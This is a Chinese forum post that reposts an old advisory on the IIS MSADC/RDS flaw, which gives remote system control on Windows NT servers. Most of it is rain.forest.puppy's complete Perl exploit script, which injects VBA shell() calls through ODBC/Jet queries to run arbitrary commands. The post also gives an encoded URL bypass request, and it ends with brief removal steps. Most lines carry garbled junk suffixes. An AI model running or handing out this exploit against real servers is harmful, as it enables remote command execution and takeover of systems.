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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) '^tC|)  
'_" S/X +v  
涉及程序: <WL] (-9I:  
Microsoft NT server -5@hU8B'a  
1|$J>  
描述: )00jRuF  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 w=thaF.  
s^/2sjoL  
详细: 5oo6d4[  
如果你没有时间读详细内容的话,就删除: [2ri=lf,  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ;V bB]aUg  
有关的安全问题就没有了。 }*7Gq  
3w+ +F@(  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Gg%pU+'T  
?_. SV g  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Pxgal4{6  
关于利用ODBC远程漏洞的描述,请参看: r|ogF8YN  
x)f<lZ^L&H  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm '~xiD?:  
Sy^@v%P'A  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 kE1k@h#/  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp +[pJr-k  
)2R]KU_=g  
这里不再论述。 srH.$Y;~  
Bd[H@oKru  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ZpZoOdjslV  
1czU$!MV  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 7Kt i&T  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! a)!R4  
*]ME]2qP  
8x9;3{R   
#将下面这段保存为txt文件,然后: "perl -x 文件名" #y1M1Og  
Jjh=zxR>  
#!perl VgMuX3=  
# >n%ckL|rG  
# MSADC/RDS 'usage' (aka exploit) script Kp6%=JjO  
# 3Q_)Xs r`  
# by rain.forest.puppy )b,FE}YX  
# hO(A_Bw  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 8*eVP*g  
# beta test and find errors! +>:[irf  
(lvp-<*  
use Socket; use Getopt::Std; _SQ]\Z  
getopts("e:vd:h:XR", \%args); $Y%,?>AL<  
3H%bbFy  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 4!Lj\.!$  
* K0aR!  
if (!defined $args{h} && !defined $args{R}) { 2 y& k  
print qq~ f5'vjWJ30  
Usage: msadc.pl -h <host> { -d <delay> -X -v } N'?#g`*KW  
-h <host> = host you want to scan (ip or domain) K\5/||gi  
-d <seconds> = delay between calls, default 1 second ge% tj O  
-X = dump Index Server path table, if available -c %'f&P  
-v = verbose cZAf?,>u  
-e = external dictionary file for step 5 XKvH^Z4h{l  
x'V:qv*O  
Or a -R will resume a command session ePTxuCf>  
>vNE3S_  
~; exit;} 8[oZ>7LMzC  
!)FKF7'  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; m2Wi "X(I_  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} J?f7!F:8  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} :v^OdW  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ` bZgw  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ^C;ULUn3  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } mEbj  
'NDr$Qc3  
if (!defined $args{R}){ $ret = &has_msadc; 9\%`/tJM  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} EHrr}&  
KqXPxp^_Al  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" aQ0pYk~(  
. "cmd /c "; ?qbq\t  
$in=<STDIN>; chomp $in; ;6*$!^*w  
$command="cmd /c " . $in ; RF'&.RtVa  
~P"o_b6,k  
if (defined $args{R}) {&load; exit;} A#]78lR  
5PE}3he:  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; u3IhB8'  
&try_btcustmr; RIFTF R  
LPkl16yZ  
print "\nStep 2: Trying to make our own DSN..."; ,m5tO  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";  Bm&6  
M/YS%1  
print "\nStep 3: Trying known DSNs..."; (.kzJ\x  
&known_dsn; B9]bv]  
]i8t  
print "\nStep 4: Trying known .mdbs..."; <6C:\{eo  
&known_mdb; )%HIC@MM6  
[!`5kI  
if (defined $args{e}){ )-\qo#0l  
print "\nStep 5: Trying dictionary of DSN names..."; , jCE hb  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } kk}_AZ0eK  
l_P90zm39!  
print "Sorry Charley...maybe next time?\n"; U"L-1]L  
exit; BxB B](  
lDZ~  
############################################################################## c;88Wb<|W  
fD%20P`.  
sub sendraw { # ripped and modded from whisker 2j$~lI  
sleep($delay); # it's a DoS on the server! At least on mine... Kr+#)S  
my ($pstr)=@_; )oZ2,]us!  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || iK8jX?  
die("Socket problems\n"); [ic%ZoZ_  
if(connect(S,pack "SnA4x8",2,80,$target)){ f\H1$q\p\  
select(S); $|=1; 4j<[3~:0 o  
print $pstr; my @in=<S>; 1e I_F8I U  
select(STDOUT); close(S); @su!9]o  
return @in; l$m}aQ%h  
} else { die("Can't connect...\n"); }} 7hT@,|(j  
NdC5w-WY  
############################################################################## T `o[whr  
0KjCM4t  
sub make_header { # make the HTTP request }U|Vpgd!  
my $msadc=<<EOT mBQpf/PG  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 54oJ MW9  
User-Agent: ACTIVEDATA \og2\Oh&gH  
Host: $ip TwKi_nh2m  
Content-Length: $clen L),bP fz  
Connection: Keep-Alive r"dR}S.Uf  
*TPWLR ^  
ADCClientVersion:01.06 Y /l~R7  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 GF*uDJ Kp  
hbs /S  
--!ADM!ROX!YOUR!WORLD! hd)WdGJp  
Content-Type: application/x-varg otQ G6  
Content-Length: $reqlen 9G4os!x)  
xp*d:  
EOT IaO*{1re  
; $msadc=~s/\n/\r\n/g; l/A!ofc#)  
return $msadc;} 6Y9<| .  
W?n/>DML  
############################################################################## M*aYcIU((  
NosOd*S  
sub make_req { # make the RDS request )#sN#ZR$  
my ($switch, $p1, $p2)=@_; j3j^cO[8v  
my $req=""; my $t1, $t2, $query, $dsn; m",G;VN  
N[N4!k )!$  
if ($switch==1){ # this is the btcustmr.mdb query ."`||@|  
$query="Select * from Customers where City=" . make_shell(); 7t+H94KG7  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . t;_1/ mt  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} (*\y  
LdnTdh?  
elsif ($switch==2){ # this is general make table query @@=,bO  
$query="create table AZZ (B int, C varchar(10))"; w{GEWD{&  
$dsn="$p1";} kB=5=#s  
%Lq}5zB  
elsif ($switch==3){ # this is general exploit table query ypx`!2Q$  
$query="select * from AZZ where C=" . make_shell(); A>\3FeU>UC  
$dsn="$p1";} (R(NEN  
Bk5ft4v-  
elsif ($switch==4){ # attempt to hork file info from index server !p_l(@f  
$query="select path from scope()"; }sp?@C,Z  
$dsn="Provider=MSIDXS;";} AnpO?+\HF  
,_K:DSiB  
elsif ($switch==5){ # bad query Uh'W d_?  
$query="select"; >2NsBS(  
$dsn="$p1";} YB(8 T"  
& d* bQv$  
$t1= make_unicode($query); UU ' 9  
$t2= make_unicode($dsn); Y]i:$X]C?X  
$req = "\x02\x00\x03\x00"; W9{y1,G9  
$req.= "\x08\x00" . pack ("S1", length($t1)); m<!CF3g  
$req.= "\x00\x00" . $t1 ; #hXuGBZEI  
$req.= "\x08\x00" . pack ("S1", length($t2)); /9| 2uw`  
$req.= "\x00\x00" . $t2 ; _S CY e  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; #;UoZJ B  
return $req;} WN o+%  
&iT^IkA{  
############################################################################## kD6Iz$tr  
4v2JrC;  
sub make_shell { # this makes the shell() statement 5Hs !s+  
return "'|shell(\"$command\")|'";} 1;vwreJ  
}xY|z"&  
############################################################################## rw75(Lp{  
|C>\k u*  
sub make_unicode { # quick little function to convert to unicode -o57"r^x  
my ($in)=@_; my $out; <80M$a g  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 5'_:>0}  
return $out;} 0UQ DB5u  
!"'@c  
############################################################################## #q8/=,3EG  
,QLy }=N  
sub rdo_success { # checks for RDO return success (this is kludge) tR_DN  
my (@in) = @_; my $base=content_start(@in); &+GbklUB~  
if($in[$base]=~/multipart\/mixed/){ !ED,'d%J  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ;XXEvRk  
return 0;} Uh^j;s\y  
=q[ynZ8O\w  
############################################################################## 1"T&B0G3l  
B0^:nYko  
sub make_dsn { # this makes a DSN for us rK4 pYo  
my @drives=("c","d","e","f"); ?S.LGc  
print "\nMaking DSN: "; B9'2$s+Z;  
foreach $drive (@drives) { S}K-\[i?  
print "$drive: "; >uE<-klv  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . eYPIZ{S7h  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Gz7,g Y  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); $BOpjDV8  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; {<i(aq?  
return 0 if $2 eq "404"; # not found/doesn't exist x(rl|o  
if($2 eq "200") { GD!!xt  
foreach $line (@results) { A64c,Uv  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} |xpOU*k  
} return 0;} ,u14R]  
uC2 5pH"  
############################################################################## s*vtCdrE.  
.C1g Dry]  
sub verify_exists { ")w~pZE&+  
my ($page)=@_; AS lmW@/9v  
my @results=sendraw("GET $page HTTP/1.0\n\n"); $C8s  
return $results[0];} q2M%AvR  
Ub[UB%(T  
############################################################################## OO;I^`Yn  
XOEf,"  
sub try_btcustmr { >,f5 5  
my @drives=("c","d","e","f"); Ex{;&UWm  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Qk&6Z%  
&]c7<=`K"  
foreach $dir (@dirs) { s2K8|q=  
print "$dir -> "; # fun status so you can see progress /1r {z1pv\  
foreach $drive (@drives) { l Ng)k1  
print "$drive: "; # ditto I!.-}]k  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; UBx0Z0Y  
$reqlenlen=length( "$reqlen" ); A$TF a:O|  
$clen= 206 + $reqlenlen + $reqlen; Ua+Us"M3}  
>9[wjB2?}  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); b+$-f:mj  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} a(x#6  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 2-:`lrVd  
@>[3 [;  
############################################################################## B:)vPO+ d  
R I]x=  
sub odbc_error { b=:%*gq,  
my (@in)=@_; my $base; [LSs|f  
my $base = content_start(@in); kb'l@d#E  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this :Y)G-:S+  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  3;Tsjv}  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3.%jet1  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; pFEU^]V3*  
return $in[$base+4].$in[$base+5].$in[$base+6];} C0L(ti;  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; +b{tk=Q:  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 1["IT.,f.  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 'he&h4fm  
>P2QL>P  
############################################################################## 'WwD$e0=  
7Y^2JlZu=  
sub verbose { 'zuA3$SR  
my ($in)=@_; Q5;EQ .#  
return if !$verbose; #}8gHI-9%  
print STDOUT "\n$in\n";} mMad1qCi7  
N0fmC*1-  
############################################################################## r7v 1q  
#F+b^WTR  
sub save { !3o]mBH8  
my ($p1, $p2, $p3, $p4)=@_; |l,0bkY@&  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; wE_#b\$=b  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; &-|(q!jm  
close OUT;} a6g+"EcH#'  
r D|Bj(X8  
############################################################################## ))uki*UNK  
1@`mpm#Y  
sub load { wQX%*GbL2  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; _"qX6Jc  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); *w1R>  
@p=<IN>; close(IN); h8HA^><Xr  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); {-s7_\|p(  
$target= inet_aton($ip) || die("inet_aton problems"); tEllkHyef  
print "Resuming to $ip ..."; Q_A?p$%;L  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; wdEQB-dA  
if($p[1]==1) { yzJTNLff  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 0+_:^z  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; q7zHT=@$  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); P L*kjrLu7  
if (rdo_success(@results)){print "Success!\n";} Tc;j)_C)  
else { print "failed\n"; verbose(odbc_error(@results));}} G88g@Exk  
elsif ($p[1]==3){ -}Gk@=$G  
if(run_query("$p[3]")){ YGkk"gFIA  
print "Success!\n";} else { print "failed\n"; }} L(3} H,t  
elsif ($p[1]==4){ 9jrlB0  
if(run_query($drvst . "$p[3]")){ wTVd){q`.  
print "Success!\n"; } else { print "failed\n"; }} +p &$`(  
exit;} {I QCA-AI  
Ga $EM  
############################################################################## $:*/^)L  
*iujJ i  
sub create_table { OyTp^W`&  
my ($in)=@_; CGCSfoS9f  
$reqlen=length( make_req(2,$in,"") ) - 28; I)f54AX  
$reqlenlen=length( "$reqlen" ); qF4pTQf  
$clen= 206 + $reqlenlen + $reqlen; J ?H| "  
my @results=sendraw(make_header() . make_req(2,$in,"")); zvh&o*\2<d  
return 1 if rdo_success(@results); hgF4PdO1e  
my $temp= odbc_error(@results); verbose($temp); Rm=[Sj84  
return 1 if $temp=~/Table 'AZZ' already exists/; )cxML<j'  
return 0;} H,U qU3b3  
sTF Ru  
############################################################################## )Jd{WC.  
#jX%nqMxW  
sub known_dsn { {b26DKkQS  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go N`!=z++G  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Rs1JCP=d8  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "\x\P)j0>  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); #Pq.^ ^  
Dq~D4|  
foreach $dSn (@dsns) { u[1'Ap  
print "."; FLOSdMYdw  
next if (!is_access("DSN=$dSn")); T~-PT39E  
if(create_table("DSN=$dSn")){ W8s/"  
print "$dSn successful\n"; h%(0|  
if(run_query("DSN=$dSn")){ HXRK<6k$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { MNsgD3  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 9y5nG  
;p2a .P  
############################################################################## -nC!kpo  
-$5nqaK?  
sub is_access { ? Glkhf7(  
my ($in)=@_; Lw #vHNf6  
$reqlen=length( make_req(5,$in,"") ) - 28; aG/L'weR  
$reqlenlen=length( "$reqlen" ); j?9fb  
$clen= 206 + $reqlenlen + $reqlen; 4Nz]LK%@  
my @results=sendraw(make_header() . make_req(5,$in,"")); \J3n[6;  
my $temp= odbc_error(@results); naWW i]9  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); zrCQEQq  
return 0;} gAViwy9{  
>&2n\HR\  
############################################################################## %^66(n)  
9Y-6e0B:  
sub run_query { RF.8zea{O`  
my ($in)=@_; "ku ?A^f  
$reqlen=length( make_req(3,$in,"") ) - 28; P :D6w){  
$reqlenlen=length( "$reqlen" ); 5nJmabw3  
$clen= 206 + $reqlenlen + $reqlen; Xu#K<#V  
my @results=sendraw(make_header() . make_req(3,$in,"")); tD !$!\`O  
return 1 if rdo_success(@results); ]h0K*{  
my $temp= odbc_error(@results); verbose($temp); lhhp6-r  
return 0;} jCv%[H7  
%y}l^P5z  
############################################################################## *L~88-V^  
Na2n4x!  
sub known_mdb { (.54`[2+L  
my @drives=("c","d","e","f","g"); 5Rec~&v  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Sej\Gt  
my $dir, $drive, $mdb; gay6dj^  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; >\c"U1%E  
+idp1SJ4  
# this is sparse, because I don't know of many 6N.+  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ti^msC8e  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", \LZVazXD  
"\\system32\\certmdb.mdb", - d(RK_  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% SRf .8j  
G%RhNwm  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", mBZg(TY  
"\\cfusion\\cfapps\\forums\\forums_.mdb", |Y\BI^  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 3"J85V%h]n  
"\\cfusion\\cfapps\\security\\realm_.mdb", KQ(7%W  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", > : ;*3  
"\\cfusion\\database\\cfexamples.mdb", i VIpe  
"\\cfusion\\database\\cfsnippets.mdb", v&i,}p^M5  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", T1Y_Jf*KJ  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", lwuslt*E/  
"\\cfusion\\brighttiger\\database\\cleam.mdb", \a}W{e=FNT  
"\\cfusion\\database\\smpolicy.mdb", 51lN,VVD  
"\\cfusion\\database\cypress.mdb", P1f@?R&t+  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", H%AC *,  
"\\website\\cgi-win\\dbsample.mdb", >k{KwFB^S  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", e+=P)Zp/  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ^6U0n!nU  
); #these are just M8wEy_XB1  
foreach $drive (@drives) { gr y]!4Hy  
foreach $dir (@dirs){ ;3H#8x-  
foreach $mdb (@sysmdbs) { p+>vX X  
print "."; zgh~P^Z  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ K9(Su`zr  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 0ynvn9@t  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ,S7 g=(27(  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; f~NGIlgR  
} else { print "Something's borked. Use verbose next time\n"; }}}}} YZH &KGY  
D-IXO @x  
foreach $drive (@drives) { 0cBk/x^s  
foreach $mdb (@mdbs) { X}s}E ;v9  
print "."; Y +9OP  
if(create_table($drv . $drive . $dir . $mdb)){ &^4E)F  
print "\n" . $drive . $dir . $mdb . " successful\n"; +P?^Yx0d  
if(run_query($drv . $drive . $dir . $mdb)){ u4UQMj|q  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; )Cm7v@B   
} else { print "Something's borked. Use verbose next time\n"; }}}} 4Cdl^4(LT  
} !{, `h<  
pNzSy"Y$  
############################################################################## I T\lkF2  
ADQ#qA,/  
sub hork_idx { ?QXc,*=N  
print "\nAttempting to dump Index Server tables...\n"; O~WT$  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ;=[~2*8  
$reqlen=length( make_req(4,"","") ) - 28; &:" [hU  
$reqlenlen=length( "$reqlen" ); xYGB{g]  
$clen= 206 + $reqlenlen + $reqlen; $ }D9)&f;  
my @results=sendraw2(make_header() . make_req(4,"","")); yxt `  
if (rdo_success(@results)){ CkJ\v%JAW  
my $max=@results; my $c; my %d; @3:oo /;  
for($c=19; $c<$max; $c++){ A!&hjV`  
$results[$c]=~s/\x00//g; OAhCW*B  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; bq<DW/  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; >x$.mXX{  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; f*}H4H EO  
$d{"$1$2"}="";} jZ8#86/#{  
foreach $c (keys %d){ print "$c\n"; } 1hQeuG  
} else {print "Index server doesn't seem to be installed.\n"; }} tb@&!a$`?  
.;&1"b8G  
############################################################################## psHW(Z8G  
UFox v)  
sub dsn_dict { tL!R^Tf  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); C;&44cU/]  
while(<IN>){ /v,H%8S  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ~J Xqyw}  
next if (!is_access("DSN=$dSn")); p+F{iMC  
if(create_table("DSN=$dSn")){ s}pn5zMp:8  
print "$dSn successful\n"; ,?Bo x  
if(run_query("DSN=$dSn")){ ~A5MzrvIO2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { s$s]D\N  
print "Something's borked. Use verbose next time\n";}}} e viv,  
print "\n"; close(IN);} .jfkOt?2  
_ IqUp Y  
############################################################################## B.-1wZl  
i!!1^DMrw  
sub sendraw2 { # ripped and modded from whisker Nd"4*l;  
sleep($delay); # it's a DoS on the server! At least on mine... cF7efs8u  
my ($pstr)=@_; ;P{HePs=)  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _26~<gU8  
die("Socket problems\n"); itmdY!;<  
if(connect(S,pack "SnA4x8",2,80,$target)){ dsh S+d  
print "Connected. Getting data"; OEN!~-u  
open(OUT,">raw.out"); my @in; 2sOV3~bB  
select(S); $|=1; print $pstr;   vZQ'  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} uNV\_'9>Y  
close(OUT); select(STDOUT); close(S); return @in; _k,/t10  
} else { die("Can't connect...\n"); }} ,`3kDqS_4  
BWbM$@'x  
############################################################################## wlM"Zt  
_FET$$>z N  
sub content_start { # this will take in the server headers ;c-J)Ky  
my (@in)=@_; my $c; Q[+o\{ O  
for ($c=1;$c<500;$c++) { x-:a5Kz!  
if($in[$c] =~/^\x0d\x0a/){ `zjEs8`'  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Q9`}dYf.  
else { return $c+1; }}} ]y:ez8RFPU  
return -1;} # it should never get here actually q~^qf  
nbpGxUF`]  
############################################################################## ].j;d2xT\  
p)$DpNL% p  
sub funky { ZPT6 p J  
my (@in)=@_; my $error=odbc_error(@in); Kug_0+gI  
if($error=~/ADO could not find the specified provider/){ 86s.qPB0  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; CCp8,  
exit;} )rTV}Hk  
if($error=~/A Handler is required/){ u49v,,WGw  
print "\nServer has custom handler filters (they most likely are patched)\n"; eN/o}<(e  
exit;} se)vi;J7K  
if($error=~/specified Handler has denied Access/){ q@i,$R  
print "\nServer has custom handler filters (they most likely are patched)\n"; Q)7iu  
exit;}} SYPG.O?I  
Hvn{aLa.  
############################################################################## nH#|]gVI  
K&t+3O  
sub has_msadc { c({V[eGY  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); JO4rU- n  
my $base=content_start(@results); Pw^ lp'dO  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ZR~ *Yofy  
return 0;} wz-#kH5?  
HbRDa  
######################## E6{|zF/3'  
5AWIk,[  
0$-N  
解决方案: cMCGaaLU  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll poqcoSL"}  
2、移除web 目录: /msadc
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学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 HMQi:s7%  
Fxu'(xa  
拿出来充数 哈哈
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